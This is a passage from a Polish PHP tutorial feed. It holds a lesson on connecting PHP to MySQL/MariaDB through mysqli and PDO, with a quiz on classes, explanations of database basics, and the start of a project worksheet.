<li><p>Szkielet (obiektowo; wersja proceduralna z arkusza analogicznie):<code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php<br />$polaczenie = new mysqli('localhost', 'root', '', 'wodospady');<br />$idKontynent = $_GET['idKontynent'] ?? 6;<br /><br />$zapytanie = $polaczenie->prepare(<br />    'SELECT idObiekt, panstwo, nazwa FROM obiekty WHERE idKontynent = ?'<br />);<br />$zapytanie->bind_param('i', $idKontynent);<br />$zapytanie->execute();<br />$wynik = $zapytanie->get_result();<br /><br />while ($wiersz = $wynik->fetch_assoc()) {<br />    echo '&lt;tr>';<br />    echo '&lt;td>' . $wiersz['idObiekt'] . '&lt;/td>';<br />    echo '&lt;td>' . htmlspecialchars($wiersz['panstwo']) . '&lt;/td>';<br />    echo '&lt;td>' . htmlspecialchars($wiersz['nazwa']) . '&lt;/td>';<br />    echo '&lt;/tr>';<br />}<br /><br />$polaczenie->close();<br />?><br /></code>Punkty, o których najłatwiej zapomnieć: wartość domyślna dla parametru GET, <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;tr></code> wewnątrz pętli (a nie przed nią) i zamknięcie połączenia na końcu.</p><br /></li>
</ol>
</details>
<p>Artykuł <a href="https://kamakaczmarek.net/php-laczenie-z-baza-i-operacje-na-bazie-danych/">18. PHP – łączenie z bazą i operacje SELECT</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>17. PHP – współpraca z bazami danych</title>
		<link>https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/</link>
		
		<dc:creator><![CDATA[Kama]]></dc:creator>
		<pubDate>Thu, 16 May 2019 19:40:07 +0000</pubDate>
				<category><![CDATA[aplikacje]]></category>
		<category><![CDATA[dla ucznia]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[bazy danych]]></category>
		<category><![CDATA[php]]></category>
		<guid isPermaLink="false">https://kamakaczmarek.net/?p=2340</guid>

					<description><![CDATA[<p>Szybki quiz – przypomnienie poprzedniej lekcji Lekcja 15: klasy i obiekty. Odpowiedz bez uruchamiania kodu. 1. Co wyświetli ten kod? 2. Zadanie ma właściwość private string $tytul i metodę pobierzTytul(). Co się stanie po wykonaniu echo $zadanie-&#62;tytul;? 3. Czy ten kod utworzy poprawny obiekt? Dlaczego? 4. Co wyświetli ostatnia linia, jeśli $kama ma 99 XP? [&#8230;]</p>
<p>Artykuł <a href="https://kamakaczmarek.net/php-wspolpraca-z-bazami-danych/">17. PHP – współpraca z bazami danych</a> pochodzi z serwisu <a href="https://kamakaczmarek.net">Kama Kaczmarek</a>.</p>
]]></description>
										<content:encoded><![CDATA[
<h2 class="wp-block-heading">Szybki quiz – przypomnienie poprzedniej lekcji</h2>



<p class="wp-block-paragraph">Lekcja 15: klasy i obiekty. Odpowiedz bez uruchamiania kodu.</p>



<p class="wp-block-paragraph"><strong>1.</strong> Co wyświetli ten kod?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">class Licznik
{
    private int $wartosc = 0;

    public function zwieksz(): void
    {
        $wartosc++;
    }

    public function pobierz(): int
    {
        return $this-&gt;wartosc;
    }
}

$licznik = new Licznik();
$licznik-&gt;zwieksz();
$licznik-&gt;zwieksz();
echo $licznik-&gt;pobierz();</code></pre>



<p class="wp-block-paragraph"><strong>2.</strong> Zadanie ma właściwość <code class="prettyprint lang-sql" style="font-size: 0.85em;">private string $tytul</code> i metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>. Co się stanie po wykonaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">echo $zadanie-&gt;tytul;</code>?</p>



<p class="wp-block-paragraph"><strong>3.</strong> Czy ten kod utworzy poprawny obiekt? Dlaczego?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanie = new Zadanie(tytul: 'SQL', id: 7, opis: '', termin: '2026-10-01', wykonane: false, xp: 20);</code></pre>



<p class="wp-block-paragraph"><strong>4.</strong> Co wyświetli ostatnia linia, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$kama</code> ma 99 XP?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">$ktos = $kama;
$ktos-&gt;dodajXp(10);
echo $kama-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>5.</strong> Co wyświetli ten kod, jeśli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik</code> ma 99 XP?</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    $uzytkownik-&gt;dodajXp(-5);
} catch (Exception $wyjatek) {
    echo 'Błąd: ' . $wyjatek-&gt;getMessage();
}

echo ' XP: ' . $uzytkownik-&gt;pobierzXp();</code></pre>



<p class="wp-block-paragraph"><strong>6.</strong> Znajdź błąd. Metoda się wykonuje, nie ma komunikatu, a XP użytkownika się nie zmienia.</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">public function dodajXp(int $xp): void
{
    $this-&gt;xp + $xp;
}</code></pre>



<p class="wp-block-paragraph"><strong>7.</strong> Podaj dwie różnice między klasą abstrakcyjną a interfejsem.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>Odpowiedzi</strong></summary>
<ol class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. W metodzie <code class="prettyprint lang-sql" style="font-size: 0.85em;">zwieksz()</code> brakuje <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;</code>. PHP zwiększa lokalną zmienną <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wartosc</code> (z ostrzeżeniem o nieistniejącej zmiennej), która znika po wyjściu z metody. Właściwość obiektu pozostaje <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>.</li>



<li>Błąd krytyczny: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Cannot access private property</code>. Właściwość jest <code class="prettyprint lang-sql" style="font-size: 0.85em;">private</code>, więc z zewnątrz dostępna jest tylko przez metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzTytul()</code>.</li>



<li>Tak. Przy <strong>argumentach nazwanych</strong> kolejność nie ma znaczenia — liczą się nazwy parametrów. Muszą być podane wszystkie parametry bez wartości domyślnej.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">109</code>. Przypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$ktos = $kama</code> nie tworzy kopii obiektu — obie zmienne wskazują <strong>ten sam</strong> obiekt.</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Błąd: Liczba XP do dodania musi być większa od zera. XP: 99</code>. Wyjątek przerywa metodę <strong>przed</strong> zmianą XP.</li>



<li>Wynik dodawania nie zostaje nigdzie zapisany. Powinno być <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp += $xp;</code> (czyli <code class="prettyprint lang-sql" style="font-size: 0.85em;">$this-&gt;xp = $this-&gt;xp + $xp;</code>).</li>



<li>Na przykład: klasa abstrakcyjna może zawierać właściwości i gotowe implementacje metod, interfejs tylko ich sygnatury (i stałe); klasa może dziedziczyć po <strong>jednej</strong> klasie abstrakcyjnej, ale implementować <strong>wiele</strong> interfejsów.</li>
</ol>
</details>



<hr class="wp-block-separator has-alpha-channel-opacity"/>



<p><a href="#TaskQuest">TaskQuest</a></p>
<p><a href="#dodatek">Dodatek</a></p>



<div class="entry-content">
<p>Najwygodniejszym i optymalnym miejscem do przechowywania dużej ilości informacji są bazy danych.</p>
<p>Wyobraź sobie aplikację jak Discord, Instagram czy system do zarządzania serwerem gier – wszystkie te platformy muszą gdzieś przechowywać miliony danych użytkowników, wiadomości, postów czy statystyk graczy. Do tego właśnie służą bazy danych.</p>
<p>Aby PHP mógł korzystać z bazy danych, muszą być spełnione podstawowe warunki:</p>
<ul>
<li>Serwer bazy danych musi być zainstalowany i uruchomiony</li>
<li>PHP musi posiadać dane dostępowe do połączenia (host, użytkownik, hasło, nazwa bazy)</li>
<li>Odpowiednie rozszerzenie PHP musi być włączone (MySQLi lub PDO)</li>
</ul>
</div>



<h2 class="wp-block-heading">Sposoby komunikacji z bazą danych</h2>



<p class="wp-block-paragraph">W historii PHP istniały&nbsp;<strong>3 sposoby</strong>&nbsp;łączenia się z bazą MySQL:</p>



<h3 class="wp-block-heading">1. mysql (stare rozszerzenie) &#8211; USUNIĘTE</h3>



<ul class="wp-block-list">
<li>Zdeprecjonowane: PHP 5.5.0 (2013)</li>



<li>Całkowicie usunięte: PHP 7.0.0 (2015)</li>



<li>Funkcje:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_connect()</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql_query()</code>&nbsp;itp.</li>



<li>Status:&nbsp;<strong>NIE UŻYWAJ</strong>&nbsp;&#8211; nie działa w nowoczesnych wersjach PHP</li>
</ul>



<h3 class="wp-block-heading">2. MySQLi (MySQL Improved) &#8211; AKTYWNE</h3>



<p class="wp-block-paragraph"><strong>MySQLi</strong>&nbsp;to wersja poprawiona i aktualna wycofanej od PHP7 biblioteki&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">mysql</code>.</p>



<p class="wp-block-paragraph">Cechy MySQLi:</p>



<ul class="wp-block-list">
<li>Może być stosowane w podejściu&nbsp;<strong>proceduralnym</strong>&nbsp;i&nbsp;<strong>obiektowym</strong></li>



<li>Współpracuje&nbsp;<strong>tylko z bazami MySQL/MariaDB</strong></li>



<li>Wspiera prepared statements (ochrona przed SQL Injection)</li>



<li>Obsługuje transakcje</li>



<li>Dostępne w PHP 5, 7, 8 i nowszych</li>
</ul>



<p class="wp-block-paragraph">Kiedy używać MySQLi:</p>



<ul class="wp-block-list">
<li>Gdy na pewno będziesz używać tylko MySQL/MariaDB</li>



<li>Gdy pracujesz ze starszym kodem proceduralnym</li>



<li>Gdy potrzebujesz specyficznych funkcji MySQL</li>
</ul>



<h3 class="wp-block-heading">3. PDO (PHP Data Objects) &#8211; AKTYWNE</h3>



<p class="wp-block-paragraph"><strong>PDO</strong>&nbsp;to rozszerzenie w pełni obiektowe, które współpracuje z wieloma silnikami bazy danych, nie tylko MySQL.</p>



<p>Cechy PDO:</p>
<ul>
<li>Uniwersalny interfejs dla różnych baz danych (MySQL, PostgreSQL, SQLite, Oracle, MS SQL Server&#8230;)</li>
<li>Tylko tryb obiektowy</li>
<li>Named parameters (<code class="prettyprint lang-sql" style="font-size: 0.85em;">:nazwa</code>) &#8211; bardziej czytelne zapytania</li>
<li>Prepared statements domyślnie</li>
<li>Łatwa zmiana bazy danych bez przepisywania kodu</li>
</ul>
<p>Kiedy używać PDO:</p>
<ul>
<li>Dla większości nowych projektów (zalecane!)</li>
<li>Gdy planujesz możliwość zmiany bazy danych w przyszłości</li>
<li>Gdy budujesz uniwersalną aplikację</li>
<li>Gdy preferujesz czysty kod obiektowy</li>
</ul>



<h2 class="wp-block-heading">PDO vs MySQLi &#8211; Porównanie</h2>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Cecha</th><th>PDO</th><th>MySQLi</th></tr></thead><tbody><tr><td>Obsługiwane bazy</td><td>MySQL, PostgreSQL, SQLite, Oracle, MS SQL&#8230;</td><td>Tylko MySQL/MariaDB</td></tr><tr><td>Styl programowania</td><td>Tylko obiektowy</td><td>Proceduralny + obiektowy</td></tr><tr><td>Prepared statements</td><td>Named (<code class="prettyprint lang-sql" style="font-size: 0.85em;">:id</code>) + positional (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>)</td><td>Tylko positional (<code class="prettyprint lang-sql" style="font-size: 0.85em;">?</code>)</td></tr><tr><td>Wydajność</td><td>Bardzo dobra</td><td>Nieznacznie szybsze dla MySQL</td></tr><tr><td>Łatwość użycia</td><td>Bardzo intuicyjne</td><td>Intuicyjne</td></tr><tr><td>Popularność</td><td>Bardzo popularne</td><td>Bardzo popularne</td></tr></tbody></table></figure>



<p><strong>Rekomendacja:</strong>&nbsp;Dla nowych projektów zalecamy&nbsp;<strong>PDO</strong>&nbsp;ze względu na uniwersalność i czytelność kodu.</p>



<h2 class="wp-block-heading">MySQL i MariaDB</h2>



<p class="wp-block-paragraph">RDBMS (Relational Database Management System)</p>



<p class="wp-block-paragraph">RDBMS to system zarządzania relacyjnymi bazami danych – dane przechowywane są w tabelach, które mogą być ze sobą powiązane relacjami (np. użytkownik → posty, gracz → statystyki).</p>



<p class="wp-block-paragraph"><strong>MySQL</strong>&nbsp;i&nbsp;<strong>MariaDB</strong>&nbsp;są właśnie takimi systemami.</p>



<h3 class="wp-block-heading">Historia i różnice</h3>



<p class="wp-block-paragraph"><strong>MySQL:</strong></p>



<ul class="wp-block-list">
<li>Stworzony w 1995 roku</li>



<li>Od 2010 roku należy do Oracle Corporation</li>



<li>Najpopularniejszy system open-source do zarządzania bazami danych</li>



<li>Używany przez: Facebook, Twitter, YouTube, Wikipedia</li>
</ul>



<p class="wp-block-paragraph"><strong>MariaDB:</strong></p>



<ul class="wp-block-list">
<li>Fork MySQL utworzony w 2009 roku przez oryginalnych twórców MySQL</li>



<li>Powstała jako alternatywa po przejęciu MySQL przez Oracle</li>



<li>Licencja: GPL (w pełni open-source)</li>



<li>Kompatybilna z MySQL (drop-in replacement do wersji 5.5)</li>



<li>Szybszy rozwój i częstsze aktualizacje</li>



<li>Oferuje lepsze silniki obsługi pamięci masowej (Aria, ColumnStore, MyRocks)</li>
</ul>



<h3 class="wp-block-heading">Co wybrać?</h3>



<p class="wp-block-paragraph">Oba rozwiązania są darmowe i świetnie sprawdzają się w nauce i projektach komercyjnych.</p>



<p class="wp-block-paragraph"><strong>MySQL</strong>&nbsp;&#8211; jeśli:</p>



<ul class="wp-block-list">
<li>Pracujesz z narzędziami/aplikacjami wymagającymi MySQL</li>



<li>Potrzebujesz wsparcia komercyjnego od Oracle</li>



<li>Używasz starszej dokumentacji/tutoriali</li>
</ul>



<p class="wp-block-paragraph"><strong>MariaDB</strong>&nbsp;&#8211; jeśli:</p>



<ul class="wp-block-list">
<li>Zależy Ci na pełnej otwartości (GPL)</li>



<li>Chcesz nowsze funkcje i szybsze aktualizacje</li>



<li>Budujesz nowy projekt</li>
</ul>



<p class="wp-block-paragraph"><strong>Dla nauki:</strong>&nbsp;Oba systemy są prawie identyczne w użyciu – składnia SQL jest taka sama, więc nauka na jednym oznacza umiejętność pracy z drugim.</p>



<p>Więcej o tych dwóch systemach możecie przeczytać na stronie:&nbsp;<a href="https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/" target="_blank" rel="noreferrer noopener">https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/</a></p>



<h2 class="wp-block-heading">Podstawowe pojęcia</h2>



<p>Zanim przejdziemy do łączenia z bazą, poznaj kluczowe pojęcia:</p>
<p><strong>baza danych (database) &#8211; </strong>Zorganizowany zbiór danych. Przykład: baza&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">discord_app</code>&nbsp;zawiera wszystkie dane aplikacji Discord.</p>
<p><strong>tabela (table) &#8211; </strong>Struktura przechowująca dane w formie wierszy i kolumn. Przykład: tabela&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">users</code>&nbsp;przechowuje dane użytkowników.</p>
<p><strong>kolumna (column/field) &#8211;&nbsp;</strong>Pojedyncze pole w tabeli. Przykład:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">username</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">email</code>,&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">created_at</code>.</p>
<p><strong>wiersz (row/record) &#8211;&nbsp;</strong>Pojedynczy rekord w tabeli. Przykład: jeden użytkownik to jeden wiersz.</p>
<p><strong>klucz główny (primary key) &#8211;&nbsp;</strong>Unikalne pole identyfikujące wiersz. Przykład:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>&nbsp;użytkownika.</p>
<p><strong>SQL (Structured Query Language) &#8211; </strong>Język używany do komunikacji z bazą danych.</p>
<p>Podstawowe operacje (<strong>CRUD</strong>):</p>
<ul>
<li><strong>C</strong>REATE (INSERT) &#8211; dodawanie danych</li>
<li><strong>R</strong>EAD (SELECT) &#8211; odczytywanie danych</li>
<li><strong>U</strong>PDATE &#8211; aktualizacja danych</li>
<li><strong>D</strong>ELETE &#8211; usuwanie danych</li>
</ul>



<h2 class="wp-block-heading">Tworzenie bazy danych &#8211; dwa sposoby</h2>



<h3 class="wp-block-heading">1. Graficznie w phpMyAdmin</h3>



<p class="wp-block-paragraph">phpMyAdmin to narzędzie webowe do zarządzania bazami MySQL/MariaDB (dostępne w XAMPP, WAMP, na hostingu).</p>



<p class="wp-block-paragraph">Kroki:</p>



<ol>
<li>Otwórz phpMyAdmin (zwykle&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">http://localhost/phpmyadmin</code>)</li>
<li>Kliknij zakładkę &#8222;Bazy danych&#8221;</li>
<li>Wpisz nazwę bazy (np.&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">social_media_app</code>)</li>
<li>Wybierz kodowanie:&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">utf8mb4_unicode_ci</code>&nbsp;(obsługa emoji i polskich znaków)</li>
<li>Kliknij &#8222;Utwórz&#8221;</li>
</ol>



<h3 class="wp-block-heading">2. Przez kod PHP</h3>



<p class="wp-block-paragraph">Możesz również tworzyć bazy bezpośrednio z poziomu PHP (przydatne przy automatyzacji).</p>



<p>Szczegóły w dalszej części materiału.</p>



<h2 class="wp-block-heading">Co dalej?</h2>



<p class="wp-block-paragraph">W kolejnych częściach nauczysz się:</p>



<ul class="wp-block-list">
<li>Łączyć się z bazą danych (PDO i MySQLi)</li>



<li>Wykonywać zapytania SQL (SELECT, INSERT, UPDATE, DELETE)</li>



<li>Zabezpieczać aplikację przed SQL Injection</li>



<li>Obsługiwać błędy połączenia</li>



<li>Pracować z prepared statements</li>



<li>Budować praktyczne aplikacje (system logowania, chat, panel gracza)</li>
</ul>



<h2 class="wp-block-heading">Jak sprawdzić czy masz włączone rozszerzenia w kodzie PHP</h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php
// Sprawdź MySQLi
if (extension_loaded('mysqli')) {
    echo "MySQLi jest dostępne&lt;br&gt;";
} else {
    echo "MySQLi NIE jest dostępne&lt;br&gt;";
}

// Sprawdź PDO
if (extension_loaded('pdo_mysql')) {
    echo "PDO MySQL jest dostępne&lt;br&gt;";
} else {
    echo "PDO MySQL NIE jest dostępne&lt;br&gt;";
}

// Lista wszystkich dostępnych sterowników PDO
echo "&lt;br&gt;Dostępne sterowniki PDO:&lt;br&gt;";
print_r(PDO::getAvailableDrivers());
?&gt;</code></pre>



<p class="wp-block-paragraph">Jeśli coś nie działa, sprawdź plik&nbsp;<code class="prettyprint lang-sql" style="font-size: 0.85em;">php.ini</code>&nbsp;i odkomentuj linie:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">extension=mysqli
extension=pdo_mysql</code></pre>



<h2 class="wp-block-heading">Przykłady zastosowań baz danych</h2>



<p class="wp-block-paragraph">Żeby lepiej zrozumieć do czego służą bazy danych, zobacz przykłady z życia codziennego:</p>



<h3 class="wp-block-heading">Aplikacja do streamingu muzyki (typ Spotify)</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">users</code>&nbsp;&#8211; użytkownicy (id, username, email, premium)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">songs</code>&nbsp;&#8211; utwory (id, title, artist, duration, file_path)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">playlists</code>&nbsp;&#8211; playlisty (id, user_id, name, created_at)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">playlist_songs</code>&nbsp;&#8211; piosenki w playlistach (playlist_id, song_id)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">listening_history</code>&nbsp;&#8211; historia odsłuchań (user_id, song_id, played_at)</li>
</ul>



<h3 class="wp-block-heading">System zarządzania serwerem gier (typ Minecraft)</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">players</code>&nbsp;&#8211; gracze (id, username, uuid, first_join, last_seen)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">player_stats</code>&nbsp;&#8211; statystyki (player_id, kills, deaths, playtime, level)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">inventory</code>&nbsp;&#8211; ekwipunek (player_id, item_id, quantity, slot)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">transactions</code>&nbsp;&#8211; zakupy (id, player_id, item, price, date)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">bans</code>&nbsp;&#8211; bany (player_id, reason, banned_by, expires_at)</li>
</ul>



<h3 class="wp-block-heading">Panel Discord Bot</h3>



<p class="wp-block-paragraph"><strong>Tabele:</strong></p>



<ul class="wp-block-list">
<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">guilds</code>&nbsp;&#8211; serwery (id, name, owner_id, prefix, premium)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">guild_settings</code>&nbsp;&#8211; ustawienia (guild_id, welcome_channel, log_channel, auto_role)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">commands_usage</code>&nbsp;&#8211; statystyki (guild_id, command_name, uses, last_used)</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">warnings</code>&nbsp;&#8211; ostrzeżenia (user_id, guild_id, reason, moderator_id, date)</li>
</ul>



<h2 class="wp-block-heading">Przydatne linki</h2>



<ul class="wp-block-list">
<li><a href="https://www.php.net/manual/en/book.mysqli.php" target="_blank" rel="noreferrer noopener">Dokumentacja MySQLi</a></li>



<li><a href="https://www.php.net/manual/en/book.pdo.php" target="_blank" rel="noreferrer noopener">Dokumentacja PDO</a></li>



<li><a href="https://hostclub.pl/mariadb-vs-mysql-porownanie-baz-danych/" target="_blank" rel="noreferrer noopener">MySQL vs MariaDB &#8211; szczegółowe porównanie</a></li>



<li><a href="https://www.w3schools.com/php/php_mysql_intro.asp" target="_blank" rel="noreferrer noopener">W3Schools &#8211; PHP MySQL</a></li>



<li><a href="https://docs.phpmyadmin.net/" target="_blank" rel="noreferrer noopener">phpMyAdmin &#8211; dokumentacja</a></li>
</ul>



<h1 id="TaskQuest" class="wp-block-heading">TaskQuest 1.7 — projektujemy bazę danych TaskQuest</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>KARTA PRACY</strong></summary>
<p class="wp-block-paragraph">Po Lekcji 15 zadanie i użytkownik są w TaskQuest obiektami. Jednak <strong>dane nadal nie mają prawdziwego domu</strong>. Zadania leżą w jednym pliku CSV, wspólnym dla wszystkich, którzy się zalogują. XP, streak i data ostatniej aktywności są wpisane w kod <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Metody <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">oznaczJakoWykonane()</code> istnieją, ale ich efekt znika razem z końcem żądania.</p>



<p class="wp-block-paragraph">Dziś zaprojektujemy i zbudujemy <strong>bazę danych</strong> TaskQuest. Będzie w niej miejsce na wielu użytkowników, każdy z własnymi zadaniami, XP i streakiem.</p>



<h3 class="wp-block-heading">Cel lekcji</h3>



<p class="wp-block-paragraph">Nauczyć się:</p>



<ul class="wp-block-list">
<li>czym jest <strong>relacyjna baza danych</strong> i czym różni się od pliku CSV,</li>



<li>podstawowych pojęć: <strong>tabela, kolumna, wiersz (rekord), klucz główny, klucz obcy, relacja 1:N</strong>,</li>



<li>dobierać <strong>typy kolumn</strong> (<code class="prettyprint lang-sql" style="font-size: 0.85em;">INT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">VARCHAR</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DATE</code>) i ograniczenia (<code class="prettyprint lang-sql" style="font-size: 0.85em;">NOT NULL</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">DEFAULT</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNIQUE</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">UNSIGNED</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">AUTO_INCREMENT</code>),</li>



<li>decydować, <strong>czego nie zapisywać w bazie</strong>, bo da się to obliczyć,</li>



<li>utworzyć bazę i tabele w <strong>phpMyAdmin</strong> skryptem SQL i sprawdzić, że baza sama pilnuje poprawności danych,</li>



<li>sprawdzić w PHP, czy serwer ma rozszerzenie <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong>, przez które TaskQuest połączy się z bazą.</li>
</ul>



<p class="wp-block-paragraph">Efekt: w projekcie pojawia się plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">sql/taskquest.sql</code>. Tworzy on bazę TaskQuest z dwiema tabelami (<code class="prettyprint lang-sql" style="font-size: 0.85em;">uzytkownicy</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania</code>) i danymi testowymi przeniesionymi z CSV. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> pokazuje, czy PHP jest gotowe do pracy z bazą.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga — co jest, a czego jeszcze nie ma:</strong></p>



<ul class="wp-block-list">
<li><strong>TaskQuest nadal czyta zadania z <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code></strong>, a XP i streak nadal są symulowane w <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>. Po tej lekcji baza istnieje i zawiera dane, ale aplikacja jeszcze z niej <strong>nie korzysta</strong>. Połączenie PHP z bazą i pierwsze zapytania <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT</code> to Lekcja 18.</li>



<li>Z SQL potrzebujemy dziś tylko trzech poleceń: <code class="prettyprint lang-sql" style="font-size: 0.85em;">CREATE TABLE</code> (budowa tabeli), <code class="prettyprint lang-sql" style="font-size: 0.85em;">INSERT</code> (dane testowe) i <code class="prettyprint lang-sql" style="font-size: 0.85em;">SELECT *</code> (podgląd). Wszystkie wykonujemy <strong>ręcznie w phpMyAdmin</strong>, nie z PHP.</li>



<li>Do bazy łączymy się rozszerzeniem <strong><code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code></strong>, w wersji <strong>obiektowej</strong>. Od Lekcji 15 wiesz, co to znaczy: <code class="prettyprint lang-sql" style="font-size: 0.85em;">mysqli</code> to klasa, a połączenie to obiekt tworzony przez <code class="prettyprint lang-sql" style="font-size: 0.85em;">new</code>.</li>



<li>Hasła: tabela użytkowników dostaje dziś kolumnę na hasło, ale zostaje ona pusta. Hasła pojawią się w Lekcji 19.</li>
</ul>
</blockquote>



<h1 class="wp-block-heading">Rozgrzewka — 4 pytania z Lekcji 15</h1>



<p class="wp-block-paragraph">Odpowiedz z pamięci, zanim zaczniesz:</p>



<ol class="wp-block-list">
<li>Klasa <code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> ma właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">tytul</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">opis</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code>. Jaki typ PHP ma każda z nich?</li>



<li>Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> nie ma właściwości <code class="prettyprint lang-sql" style="font-size: 0.85em;">poziom</code>, tylko metodę <code class="prettyprint lang-sql" style="font-size: 0.85em;">pobierzPoziom()</code>?</li>



<li><code class="prettyprint lang-sql" style="font-size: 0.85em;">Zadanie</code> nie ma metody „ustaw XP”, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">Uzytkownik</code> pozwala tylko <strong>dodawać</strong> XP. Co chroni takie ograniczenie?</li>



<li>Po wywołaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">$uzytkownik-&gt;dodajXp(50)</code> odświeżasz stronę i XP znowu wynosi 99. Dlaczego?</li>
</ol>



<h1 class="wp-block-heading">1. Wracamy do naszego TaskQuest</h1>



<p class="wp-block-paragraph">Wszystkie pliki PHP z Lekcji 15 zostają i <strong>działają tak samo</strong>. Dzisiejsza praca to głównie projekt danych i SQL. W PHP zmienia się tylko narzędzie programisty (<code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>) i numer wersji w stopce.</p>



<h3 class="wp-block-heading">Docelowa struktura projektu</h3>



